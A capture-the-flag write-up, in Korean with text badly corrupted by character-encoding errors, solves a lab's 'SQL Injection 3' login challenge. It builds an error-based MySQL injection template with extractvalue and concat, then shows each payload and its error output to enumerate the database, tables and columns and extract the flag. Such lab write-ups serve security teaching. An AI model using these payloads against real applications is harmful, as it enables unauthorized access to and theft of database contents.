[SegFault] (SQLi)
SQL Injection 3
์ด ์ธ์์ ์๋ฌ ์ฒ์ง์ผ.. ใ ใ flag๋ฅผ ์ฐพ์์ฃผ์ธ์.!
๋ฌธ์ ํ์
์์ ํ์ด์ง์ ๋ค์ด๊ฐ๋ฉด ์๋์ ๊ฐ์ ์ฐฝ์ด ๋์จ๋ค.
์ฐ์ ์ฃผ์ด์ง ๊ณ์ ์ ๋ณด๋ก ๋ก๊ทธ์ธ ํด๋ณด์.
๊ณ์ ์ ๋ณด : normaltic / 1234
๋ก๊ทธ์ธ ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ํ์ด์ง๋ก ๋์ด๊ฐ๋ค.
Burp Suite๋ก๋ ์ ๋ฐ์ ์ผ๋ก ํ์ธํด๋ณด์๋ ๋ฑํ ์ ๋ ฅ ๋ถ๋ถ์ด ๋ณด์ด์ง ์๋๋ค.
๊ทธ๋ ๋ค๋ฉด ๋ก๊ทธ์ธ ์ฐฝ์์ SQL Injection์ด ๊ฐ๋ฅํ์ง๋ฅผ ํ์ธํด๋ณด์.
SQL Injection Point
'and'1'='1 ์ ๋ฃ์ด์ค ์ํ๋ก๋ ์ ์ ๋์ํ๋์ง ํ์ธํ๋ค.
normaltic'and'1'='1 / 1234
์์ id / pw ๋ก๋ ๋ก๊ทธ์ธ๋๋์ง ํ์ธํ ๊ฒฐ๊ณผ ์ ์์ ์ผ๋ก ๋ก๊ทธ์ธ ๋๋ ๊ฒ์ ํ์ธํ๋ค.
๊ทธ๋ ์ง๋ง ์ฌ๊ธฐ์ ๋ก๊ทธ์ธ์ ๋ํ ๊ฒฐ๊ณผ ์ธ์ SQL Injection ๋ฐฉ์์ ๊ฒฐ์ ํ ๋ฐฉ์์ด ์๋์ง ํ์ธํด์ผ ํ๋ค.
๊ทธ๋์ ' ๋ฅผ id์ ์ ๋ ฅํ์ฌ '์ ๊ฐ์๊ฐ ๋ง์ง ์๋๋ก ์ ๋ํ์ฌ syntax error๋ฅผ ๋ฐ์ ์์ผ๋ณธ๋ค.
๊ทธ ๊ฒฐ๊ณผ ์๋ฌ ๋ฉ์์ง๊ฐ ๋ก๊ทธ์ธ์ฐฝ ํ๋จ๋ถ์ ๊ทธ๋๋ก ๋ ธ์ถ๋๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
์ด๋ฅผ ๊ธฐ๋ฐ์ผ๋ก Error Based SQL Injection์ ์งํ ์ ์ฐจ(Process)์ ๋ฐ๋ผ ์งํ ํ๋ค.
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
1. SQL Injection Point ์ฐพ๊ธฐ
์์์ Error ์ ๋ณด๊ฐ ํ๋ฉด์ ๋ ธ์ถ๋๋ ๊ฒ์ ํ์ธํ์๋ค.
2. Error๋ฅผ ์ ๋ฐํ๋ ํจ์
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ MySQL์ ์ฌ์ฉํ๋ค. MySQL์ ์๋ฌ ์ ๋ฐ ํจ์๋ extractvalue ์ด๋ค.
3. ๊ณต๊ฒฉ Format ์์ฑํ๊ธฐ
' and extractvalue('1',concat(0x3a,(______))) and '1'='1
์ด์ ์์ ๋น์นธ์ ์ํ๋ SQL ๊ตฌ๋ฌธ์ ์ฝ์ ํ๋ฉด ๋๋ค.
4. DB ์ด๋ฆ ํ์ธํ๊ธฐ
์ด๋ค TABLE๊ณผ COLUMN์ด ์๋์ง ์์๋ด๊ธฐ ์ํด ์ด๋ค DB๊ฐ ์กด์ฌํ๋์ง๋ถํฐ ํ์ธํ๋ค.
SELECT database()
์์ ์ฟผ๋ฆฌ๋ฅผ ๊ณต๊ฒฉ Format์ ๋ฃ์ด์ ์ ๋ ฅํด๋ณธ๋ค.
' and extractvalue('1',concat(0x3a,(select database()))) and '1'='1
Could not update data: XPATH syntax error: ':sqli_2'
๊ทธ ๊ฒฐ๊ณผ DB๋ sqli_2์์ ํ์ธํ ์ ์์๋ค.
5. Table ์ด๋ฆ ํ์ธํ๊ธฐ
Table์ ํ์ธํ๊ธฐ ์ํ ์ฟผ๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ๋ค.
select table_name from information_schema.tables where table_schema = 'sqli_2'
๊ทธ๋ฌ๋ฏ๋ก ์์ ์ฟผ๋ฆฌ๋ฅผ ๊ณต๊ฒฉ Format์ ๋ด์ ์ ๋ ฅํด๋ณธ๋ค.
' and extractvalue('1',concat(0x3a,(select table_name from information_schema.tables where table_schema = 'sqli_2'))) and '1'='1
๊ทธ ๊ฒฐ๊ณผ ๋ค์๊ณผ ๊ฐ์ ์๋ฌ๊ฐ ๋ฐ์ํ์๋ค.
Could not update data: Subquery returns more than 1 row
์๋ฌ๋ฅผ ํ์ธํด๋ณด๋ฉด, ์ฌ๋ฌํ์ด ๋์ค๊ธฐ ๋๋ฌธ์ ๋ฐ์ํ ์๋ฌ์๋ค.
limit๋ฅผ ์ด์ฉํ์ฌ ํ์ค์ฉ๋ง ์ถ๋ ฅํด์ค ํ์๊ฐ ์์ด ๋ณด์ธ๋ค.
๊ทธ ์ ์ TABLE์ ๊ฐ์๋ฅผ ํ์ธํด ๋ณด์.
select count(table_name) from information_schema.tables where table_schema = 'sqli_2'
์ด๋ฅผ ๊ณต๊ฒฉ Format์ ๋ด์ ์ ๋ ฅํด์ค๋ค.
' and extractvalue('1',concat(0x3a,(select count(table_name) from information_schema.tables where table_schema = 'sqli_2'))) and '1'='1
๊ทธ ๊ฒฐ๊ณผ๋ ๋ค์๊ณผ ๊ฐ๋ค.
2 ๊ฐ์ Table์ด ์กด์ฌํ๋ ๊ฒ์ผ๋ก ๋ณด์ธ๋ค. ๊ทธ๋ผ ์ด์ limit์ ์ด์ฉํ์ฌ (0 ~ 1) ํ์ธํด๋ณด์.
select table_name from information_schema.tables where table_schema = 'sqli_2' limit 0,1
์ด๋ฅผ ๊ณต๊ฒฉ Format์ ๋ด์ ์ ๋ ฅํด์ฃผ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
' and extractvalue('1',concat(0x3a,(select table_name from information_schema.tables where table_schema = 'sqli_2' limit 0,1))) and '1'='1
Could not update data: XPATH syntax error: ':flag_table'
๊ทธ ๊ฒฐ๊ณผ๋ ๋ค์๊ณผ ๊ฐ๋ค.
flag_table ๊ณผ member๋ผ๋ TABLE์ด ํ์ธ ๋์๋ค.
6. Column ์ด๋ฆ ํ์ธํ๊ธฐ
์ฐ์ flag_table ๋ถํฐ ํ์ธํด๋ณด๊ธฐ๋ก ํ๋ค.
์ผ๋จ ํด๋น TABLE ๋ด๋ถ์ ๋ช ๊ฐ์ COLUMN์ด ์๋์ง ํ์ธํด๋ณธ๋ค.
x' and extractvalue('1',concat(0x3a,(select count(column_name) from information_schema.columns where table_name = 'flag_table' limit 0,1))) and '1'='1
๊ทธ ๊ฒฐ๊ณผ ํ ๊ฐ์ COLUMN์ผ๋ก ์ด๋ฃจ์ด์ง ๊ฒ์ ํ์ธํ ์ ์์๋ค.
Column์ ์ด๋ฆ์ ํ์ธํ๊ธฐ ์ํ ์ฟผ๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ๋ค.
select column_name from information_schema.columns where table_name = 'flag_table' limit 0,1
์ด๋ฅผ ๊ณต๊ฒฉ Format์ ๋ด์ ์ ๋ ฅํด๋ณธ๋ค.
x' and extractvalue('1',concat(0x3a,(select column_name from information_schema.columns where table_name = 'flag_table' limit 0,1))) and '1'='1
Could not update data: XPATH syntax error: ':flag'
๊ทธ ๊ฒฐ๊ณผ flag๋ผ๋ ์ด๋ฆ์ COLUMN์ด ์กด์ฌํ๋ค๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
7. Data ์ถ๋ ฅํ๊ธฐ
๊ทธ๋ผ ์ด์ DATA๋ง ์ถ๋ ฅํด๋ณด๋ฉด ๋๋ค.
๋ฐ์ดํฐ๋ฅผ ์ถ๋ ฅํ๊ธฐ ์ํ ์ฟผ๋ฆฌ๋ ๋ค์๊ณผ ๊ฐ๋ค.
select flag from flag_table
์ด๋ฅผ ๊ณต๊ฒฉ Format์ ๋ด์ ์ ๋ ฅํด๋ณด๋ฉด ๋ค์๊ณผ ๊ฐ์ ๊ฒฐ๊ณผ๋ฅผ ์ป์ ์ ์๋ค.
x' and extractvalue('1',concat(0x3a,(select flag from flag_table))) and '1'='1
๊ฒฐ๊ณผ์ ์ผ๋ก Error Based SQLi๋ฅผ ํตํด flag๋ฅผ ํ๋ํ๋๋ฐ ์ฑ๊ณตํ์๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์